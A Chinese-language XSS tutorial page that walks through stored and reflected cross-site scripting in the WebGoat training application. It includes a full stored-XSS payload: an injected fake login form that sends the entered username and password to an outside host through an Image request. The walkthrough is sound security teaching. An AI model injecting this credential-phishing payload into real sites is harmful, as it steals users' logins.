网站地图    收藏   

主页 > 后端 > 网站安全 >

李白白之Cross Site Scripting (XSS) attack - 网站安全

来源:自学PHP网    时间:2015-04-17 13:03 作者: 阅读:

[导读] 什么是xss攻击,网上的定义如下:XSS又叫CSS(CrossSiteScript),跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行...

什么是xss攻击,网上的定义如下:
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意脚本代码,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常忽略其危害性。
跨站脚本(Cross-site scripting,XSS)漏洞是Web应用程序中最常见的漏洞没有之一。
下面我们将从不同的xss分类结合webgoat项目一一演示。
3.1 stored xss
存储式跨站攻击,是xss中危害比较大的一种,它将脚本存入数据库。危害也将长久的留在页面中。
李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 步骤一上面的英文意思是用tom帐号登录,tom完成xss攻击。Jerry访问tom的页面,就会受到危害。
我们用tom的帐号登录,然后选择tom,点击“viewprofile”,在然后点击“editprofile”
就到了以下页面:
李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 
随便一个文本框输入:<script>alert('ok')</script>。然后点击“updateprofile”
这时候这段脚本已经被执行,alert框会弹出来。这时候退出登录,更换jerry帐号登录后,选择tom用户,点击“viewprofile”。
李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 
出现如此页面这表明攻击成功。
我们再看反射性xss攻击
3.2 Reflected XSS attack
这是最常见也是最知名的XSS攻击,当Web客户端提交数据后,服务器端立刻为这个客户生成结果页面,如果结果页面中包含未验证的客户端输入数据,那么就会允许客户端的脚本直接注入到动态页面中。传统的例子是站点搜索引擎,如果我们搜索一个包含特殊HTML字符的字符串时,通常在返回页面上仍然会有这个字符串来告知我们搜索的是什么,如果这些返回的字符串未被编码,那么,就会存在XSS漏洞了。
我们选择larry用户登录后点击“searchstaff”,然后将这段<script>alert('ok')</script>代码贴进去,点击“findprofile”,这时脚本会被执行,有alert框弹出来。
好像到现在为止,给大家演示所谓的xss攻击无所谓网站上被挂了个框。其实挂框只能说明存在xss漏洞,黑客可以利用这个漏洞做很多事情,接下来我们会拿众多危害的一种作为演示。
3.3 stored xss之挂框获密码
李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
这是一个有添加评论功能的两个文本框,一个标题一个内容,标题我们输入1,内容部分贴入以下代码:

<script>

function hack(){

    XSSImage=new Image;
    XSSImage.src="http://photo.163.com/?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";
alert(XSSImage.src);
}

</script>

<form><br><br><HR><H3>This featurere quires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user"name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 


点击“submit”,显示如下:
李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 Message列表中出现一个title为“1”的一条评论,点击这条评论:
李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 出现了一个登录框,好像这个网站查看评论需要登录,但是一旦登录,你们帐号和密码就会自动发送给攻击者,让我们解读下这段代码:

<form><br><br><HR><H3>This featurere quires account login:</H3 ><br><br>Enter Username:<br><input type="text" id="user"name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login"onclick="hack()"></form><br><br><HR> 
这段代码是说,首先创建了两个文本框,一个是id=users的用户名,另一个是password框。然后还有一个提交按钮,按钮事件包含一个hack(),hack()方法的内容如下:

<script>

function hack(){

    XSSImage=new Image;
    XSSImage.src="http://photo.163.com/?PROPERTY=yes&user="+document.forms[1].user.value + "&password=" +document.forms[1].pass.value + "";
alert(XSSImage.src);
}

</script>

这段代码解读起来是这样:首先创建一个Image对象,XSSImage.src的意思是设置或返回图像的URL,而URL配置的内容就是泄漏的帐号和密码;alert(XSSImage.src)这句话是用例验证我们已经获取到了帐号和密码,可以去掉,对攻击无用处。我们输入帐号和密码提交后,如下图:
李白白之Cross Site Scripting (XSS) attack - 网易杭州QA - 网易杭州 QA Team
 
说明帐号密码已拿到,攻击完成

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论